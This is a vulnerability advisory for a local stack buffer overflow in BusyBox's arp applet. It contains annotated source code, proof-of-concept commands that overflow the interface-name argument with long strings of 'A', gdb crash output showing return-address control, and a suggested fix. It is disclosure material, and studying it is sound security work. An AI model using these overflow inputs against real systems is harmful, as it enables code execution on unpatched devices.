Advisory ============ Author: 0x721427D8 Tag: busybox - (local) cmdline stack buffer overwrite Overview -------- Name: busybox Vendor: Bruce Perens, Erik Andersen, et.al. (busybox.net) References: * http://www.busybox.net/ [1] Version: 1.23.1 latest snapshot [2] Latest Version: 1.23.1 latest snapshot [2] Other Versions: affected - >= 1.4.0 (commit [3] date 2007-01-07 ) not affected - < 1.4.0 Platform(s): cross Technology: c Vuln Classes: Stack-based Buffer Overflow (CWE-121) Origin: Local Min. Privs.: ----- -- Description --------- quote wikipedia.org [4] >BusyBox is software that provides several stripped-down Unix tools in a single executable file. It runs in a variety of POSIX environments such as Linux, Android, FreeBSD and others, such as proprietary kernels, although many of the tools it provides are designed to work with interfaces provided by the Linux kernel. It was specifically created for embedded operating systems with very limited resources. The authors dubbed it "The Swiss Army Knife of Embedded Linux", as the single executable replaces basic functions of more than 300 common commands. It is released as free software under the terms of the GNU General Public License. Summary ------- Busybox provides an `arp` applet which is missing an array bounds check for command-line parameter `IFNAME`. It is therefore vulnerable to a command-line based local stack buffer overwrite effectively allowing local users to write past a 16 bytes fixed stack buffer. This leads to two scenarios, one (A) where an IOCTL for GET_HW_ADDRESS (`SIOCGIFHWADDR`) fails and results in a corrupted `va_list` being passed to `*printf()` and one (B) where an attacker might provide valid params for the IOCTL and trick the program to proceed and result in a `RET eip overwrite` eventually gaining code execution. *Versions affected:* all versions shipping the arp applet (`arp.c`). This module was introduced `2007-01-07` with commit `88e2b1cb626761b1924305b761a5dfc723613c4e` [3] and was first shipped with busybox version `1.4.0` >= 1.4.0 - latest - vulnerable - < 1.4.0 - *NOT* vulnerable: arp.c not present. Details ------ By providing an overly long string for param `IFNAME` while setting `-D` (read HW Address from IFACE) and `-s` (set new entry) a strcpy operation can be reached that allows to write past the stack buffer `ifreq.ifr_name[IFANMESIZ]` [5,6] # ./busybox arp --help BusyBox v1.23.0.git (2014-12-26 19:27:13 CET) multi-call binary. Usage: arp [-vn] [-H HWTYPE] [-i IF] -a [HOSTNAME] [-v] [-i IF] -d HOSTNAME [pub] [-v] [-H HWTYPE] [-i IF] -s HOSTNAME HWADDR [temp] [-v] [-H HWTYPE] [-i IF] -s HOSTNAME HWADDR [netmask MASK] pub [-v] [-H HWTYPE] [-i IF] -Ds HOSTNAME IFACE [netmask MASK] pub Manipulate ARP cache -a Display (all) hosts -d Delete ARP entry -s Set new entry -v Verbose -n Don't resolve names -i IF Network interface -D Read HWADDR from IFACE -A,-p AF Protocol family -H HWTYPE Hardware address type #### Details: arp.c #### The stack buffer overflow manifests in arp.c ##### Taint Graph ##### busybox arp -> arp.c:477 - arp_main (argc, argv) -> arp.c:524 - arp_set (argv) -> arp.c:263: - arp_getdevhw (ifname=*args++) -> arp.c:332: - strcpy (dst=fixed_buffer,src=ifname) // --- stack is messed up now - arbitrary stack local vars overwritten already (including stored eip) --- -> arp.c:222 ioctl_or_perror_and_die(,,ifr,<static_string>,ifname) // A) ioctl_or_perror_and_die - FAILS - due to messed up stack -> xfuncs_printf.c:508 - bb_verror_msg(fmt=<static_string>,valist p,strerr(errno)) -> verror_msg.c:31 - vasprintf(&msg, s=fmt, valist p); // B) ioctl_or_perror_and_die - SUCCEEDS - due to attacker providing reasonable values for IOCTL -> arp.c:238 - RETURN - stack messed up, direct eip control ##### Code ##### 1. No bounds check in `arp_main` int arp_main(int argc UNUSED_PARAM, char **argv) { ... /* Now see what we have to do here... */ if (opts & (ARP_OPT_d | ARP_OPT_s)) { /** !! -d and -s must be set*/ if (argv[0] == NULL) /** !! argument must be set == IFNAME*/ bb_error_msg_and_die("need host name"); if (opts & ARP_OPT_s) return arp_set(argv); /** !! argv never checked, pass to arp_set (tainted)*/ return arp_del(argv); } ... } 2. No bounds check in arp_set static int arp_set(char **args) /** !! args==IFNAME (tainted)*/ { ... /* Fetch the hardware address. */ if (*args == NULL) { /** !! IFNAME must be set*/ bb_error_msg_and_die("need hardware address"); } if (option_mask32 & ARP_OPT_D) { /** !! -d must be set*/ arp_getdevhw(*args++, &req.arp_ha); /** !! args never checked, pass to arp_getdevhw*/ } else { if (hw->input(*args++, &req.arp_ha) < 0) { bb_error_msg_and_die("invalid hardware address"); } } ... } 3. No bounds check and buffer overwrite in arp_getdevhw static void arp_getdevhw(char *ifname, struct sockaddr *sa) /** !! ifname==args (tainted)*/ { struct ifreq ifr; /** !! static stack struct, sizeof(ifreq)==40*/ const struct hwtype *xhw; /** !! static stack struct, sizeof(hwtype)==64*/ strcpy(ifr.ifr_name, ifname); /** !! overwrites ifr.ifr_name[IFNAMESIZ==16] by strlen(ifname)*/ ioctl_or_perror_and_die(sockfd, SIOCGIFHWADDR, &ifr, "can't get HW-Address for '%s'", ifname); /** !! will do the IOCTL and die on errors*/ if (hw_set && (ifr.ifr_hwaddr.sa_family != hw->type)) { /** !! Skip - hw_set is only set by -H|-t*/ bb_error_msg_and_die("protocol type mismatch"); } memcpy(sa, &(ifr.ifr_hwaddr), sizeof(struct sockaddr)); /** !! Skip - we do not care*/ if (option_mask32 & ARP_OPT_v) { /** !! Skip - we do not specify -v*/ xhw = get_hwntype(ifr.ifr_hwaddr.sa_family); if (!xhw || !xhw->print) { xhw = get_hwntype(-1); } bb_error_msg("device '%s' has HW address %s '%s'", ifname, xhw->name, xhw->print((unsigned char *) &ifr.ifr_hwaddr.sa_data)); } } /** !! if we do not fail in IOCTL we'll land here - direct EIP control*/ arbitrary length (may be limited by os) string `IFNAME` overwrites 16 bytes fixed buffer `ifreq.ifr_name[IFANMESIZ]` [5,6]. 4. stack is messed up before IOCTL for SIOCGIFHWADDR in ioctl_or_perror_and_die we control any fields below `ifr.ifr_name` - which essentially is any ifreq field, see below - allowing us to call `SIOCGIFHWADDR IOCTL` with user controlled fields and pot. let it die or make it succeed. If the `IOCTL` fails it will make the process die in `vsprintf()` due to messed up va_args on stack. If the `IOCT`L succeeds, it will make the process continue, copy taken from [5] 203 struct ifreq { 204 #define IFHWADDRLEN 6 205 union 206 { 207 char ifrn_name[IFNAMSIZ]; /* if name, e.g. "en0" */ /** !! we overflow here */ 208 } ifr_ifrn; 209 210 union { 211 struct sockaddr ifru_addr; 212 struct sockaddr ifru_dstaddr; 213 struct sockaddr ifru_broadaddr; 214 struct sockaddr ifru_netmask; 215 struct sockaddr ifru_hwaddr; 216 short ifru_flags; 217 int ifru_ivalue; 218 int ifru_mtu; 219 struct ifmap ifru_map; 220 char ifru_slave[IFNAMSIZ]; /* Just fits the size */ 221 char ifru_newname[IFNAMSIZ]; 222 void __user * ifru_data; 223 struct if_settings ifru_settings; 224 } ifr_ifru; 225 }; 5. a) IOCTL fails //xfuncs_printf.c:508 int FAST_FUNC ioctl_or_perror_and_die(int fd, unsigned request, void *argp, const char *fmt,...) { int ret; va_list p; /** !! stack is messed up */ ret = ioctl(fd, request, argp); if (ret < 0) { va_start(p, fmt); bb_verror_msg(fmt, p, strerror(errno)); /** !! valist p is corrupt, stack is messed up, and we fail, printing error*/ /* xfunc_die can actually longjmp, so be nice */ va_end(p); xfunc_die(); } return ret; } //verror_msg.c:31 - vasprintf(&msg, s=fmt, valist p); void FAST_FUNC bb_verror_msg(const char *s, va_list p, const char* strerr) { char *msg, *msg1; int applet_len, strerr_len, msgeol_len, used; if (!logmode) return; if (!s) /* nomsg[_and_die] uses NULL fmt */ s = ""; /* some libc don't like printf(NULL) */ used = vasprintf(&msg, s, p); /** !! valist p is corrupt */ if (used < 0) return; ... } 6. b) IOCTL does not fail as described in 3./4. the code proceeds with returning from `arp_getdevhw` eventually executing code from the `strcpy()` based overflow. (RET overwrite) Proof of Concept ---------------- Brutally smash the stack buffer (provide any IP as arg `HOSTNAME` to bypass name resolver): # ./busybox arp -v -Ds 1.1.1.1 $(python -c "print 'A'*99") Segmentation fault # dmesg busybox[5135]: segfault at 41414141 ip 080b8a5b sp bfa924fc error 4 in busybox[8048000+1fd000] # gdb --args ./busybox_unstripped arp -v -Ds 1.1.1.1 $(python -c "print 'A'*99") (gdb) r ... Program received signal SIGSEGV, Segmentation fault. 0x080b8a5b in vfprintf () (gdb) i r eax 0x0 0 ecx 0xffffffff -1 edx 0x0 0 ebx 0xbffff42c -1073744852 esp 0xbfffee6c 0xbfffee6c ebp 0xbffff408 0xbffff408 esi 0x1a 26 edi 0x41414141 1094795585 eip 0x80b8a5b 0x80b8a5b <vfprintf+13739> eflags 0x10246 [ PF ZF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) bt #0 0x080b8a5b in vfprintf () #1 0x0805b629 in vasprintf () #2 0x080f02aa in bb_verror_msg (s=0x820cc85 "can't get HW-Address for '%s'", p=0xbffff540 'A' <repeats 103 times>, strerr=0x823a798 "No such device") at libbb/verror_msg.c:31 #3 0x080f18a1 in ioctl_or_perror_and_die (fd=3, request=35111, argp=0xbffff544, fmt=0x820cc85 "can't get HW-Address for '%s'") at libbb/xfuncs_printf.c:508 #4 0x0811365d in arp_getdevhw (ifname=0x41414141 <Address 0x41414141 out of bounds>, sa=0x41414141) at networking/arp.c:222 #5 0x41414141 in ?? () #6 0x41414141 in ?? () #7 0x41414141 in ?? () #8 0x41414141 in ?? () #9 0x41414141 in ?? () ... (gdb) bt full #0 0x080b8a5b in vfprintf () No symbol table info available. #1 0x0805b629 in vasprintf () No symbol table info available. #2 0x080f02aa in bb_verror_msg (s=0x820cc85 "can't get HW-Address for '%s'", p=0xbffff540 'A' <repeats 103 times>, strerr=0x823a798 "No such device") at libbb/verror_msg.c:31 msg = 0x13 <Address 0x13 out of bounds> msg1 = 0x0 applet_len = -1073744492 strerr_len = -1073744524 msgeol_len = 0 used = -1073744508 #3 0x080f18a1 in ioctl_or_perror_and_die (fd=3, request=35111, argp=0xbffff544, fmt=0x820cc85 "can't get HW-Address for '%s'") at libbb/xfuncs_printf.c:508 ret = -1 p = 0xbffff540 'A' <repeats 103 times> #4 0x0811365d in arp_getdevhw (ifname=0x41414141 <Address 0x41414141 out of bounds>, sa=0x41414141) at networking/arp.c:222 ifr = {ifr_ifrn = {ifrn_name = 'A' <repeats 16 times>}, ifr_ifru = {ifru_addr = {sa_family = 16705, sa_data = 'A' <repeats 14 times>}, ifru_dstaddr = {sa_family = 16705, sa_data = 'A' <repeats 14 times>}, ifru_broadaddr = {sa_family = 16705, sa_data = 'A' <repeats 14 times>}, ifru_netmask = {sa_family = 16705, sa_data = 'A' <repeats 14 times>}, ifru_hwaddr = { sa_family = 16705, sa_data = 'A' <repeats 14 times>}, ifru_flags = 16705, ifru_ivalue = 1094795585, ifru_mtu = 1094795585, ifru_map = { mem_start = 1094795585, mem_end = 1094795585, base_addr = 16705, irq = 65 'A', dma = 65 'A', port = 65 'A'}, ifru_slave = 'A' <repeats 16 times>, ifru_newname = 'A' <repeats 16 times>, ifru_data = 0x41414141 <Address 0x41414141 out of bounds>}} #5 0x41414141 in ?? () No symbol table info available. #6 0x41414141 in ?? () No symbol table info available. #7 0x41414141 in ?? () A debugging session shows that we messed up the `va_list` on stack with the user provided string. crosscheck: valid run (no crash expected, `IFNAME=AAAAA`): # gdb --args ./busybox_unstripped arp -Ds 1.1.1.1 $(python -c "print 'A'*(5)") (gdb) b ioctl_or_perror_and_die Breakpoint 1 at 0x80f1851: file libbb/xfuncs_printf.c, line 501. (gdb) r Starting program: /src/busybox-dhcp/busybox_unstripped arp -Ds 1.1.1.1 AAAAA Breakpoint 1, ioctl_or_perror_and_die (fd=3, request=35111, argp=0xbffff5a4, fmt=0x820cc85 "can't get HW-Address for '%s'") at libbb/xfuncs_printf.c:501 501 { (gdb) s 505 ret = ioctl(fd, request, argp); (gdb) s 506 if (ret < 0) { (gdb) s 507 va_start(p, fmt); (gdb) s 508 bb_verror_msg(fmt, p, strerror(errno)); (gdb) x/10s p 0xbffff5a0: "\375\370\377\277AAAAA" /** !! valid va_list struct for 5*A*/ 0xbffff5aa: "\377\277\365\370\377\277" 0xbffff5b1: "" 0xbffff5b2: "" 0xbffff5b3: "" 0xbffff5b4: "\300\207$\bp9\022\b\324\365\377\277\365\370\377\277b7\021\b\375\370\377\277\364\365\377\277D" 0xbffff5d2: "" 0xbffff5d3: "" 0xbffff5d4: "\002" 0xbffff5d6: "" (gdb) see inline comments: va_list on stack shown by `x/10s p` now overflow `va_list` by providing `IFNAME=A*(64+40+40)` (crash expected): gdb --args ./busybox_unstripped arp -Ds 1.1.1.1 $(python -c "print 'A'*(64+40+40)") (gdb) ioctl_or_perror_and_die Undefined command: "ioctl_or_perror_and_die". Try "help". (gdb) b ioctl_or_perror_and_die Breakpoint 1 at 0x80f1851: file libbb/xfuncs_printf.c, line 501. (gdb) r Starting program: /src/busybox-dhcp/busybox_unstripped arp -Ds 1.1.1.1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, ioctl_or_perror_and_die (fd=3, request=35111, argp=0xbffff514, fmt=0x820cc85 "can't get HW-Address for '%s'") at libbb/xfuncs_printf.c:501 501 { (gdb) s 505 ret = ioctl(fd, request, argp); (gdb) s 506 if (ret < 0) { (gdb) s 507 va_start(p, fmt); (gdb) s 508 bb_verror_msg(fmt, p, strerror(errno)); (gdb) x/10s p 0xbffff510: 'A' <repeats 148 times> /** !! INVALID va_list struct, missing header*/ 0xbffff5a5: "\271\004\b" 0xbffff5a9: "\231\357pU?\021\b\030\367\377\277\177\315 \b\314\365\377\277\314\365\377\277\320\365\377\277\320\365\377\277È$\b" 0xbffff5cd: "\231\357p\330\366\377\277" 0xbffff5d5: "\003" 0xbffff5d7: "" 0xbffff5d8: "" 0xbffff5d9: "" 0xbffff5da: "" 0xbffff5db: "" (gdb) see inline comment: `va_list` is messed up. Remediation Steps ------- * `strcpy` => `strncpy(dst,src,n=sizeof(ifreq.ifr_name)-1)` or less error prone but more overhead `snprintf()` References --------- [1] http://busybox.net [2] http://busybox.net/downloads/?C=M;O=A [3] http://git.busybox.net/busybox/commit/networking/arp.c?id=88e2b1cb626761b1924305b761a5dfc723613c4e [4] https://en.wikipedia.org/wiki/BusyBox [5] http://lxr.free-electrons.com/source/include/uapi/linux/if.h#L203 [6] http://lxr.free-electrons.com/source/include/uapi/linux/if.h#L26
Fixed in git, thanks!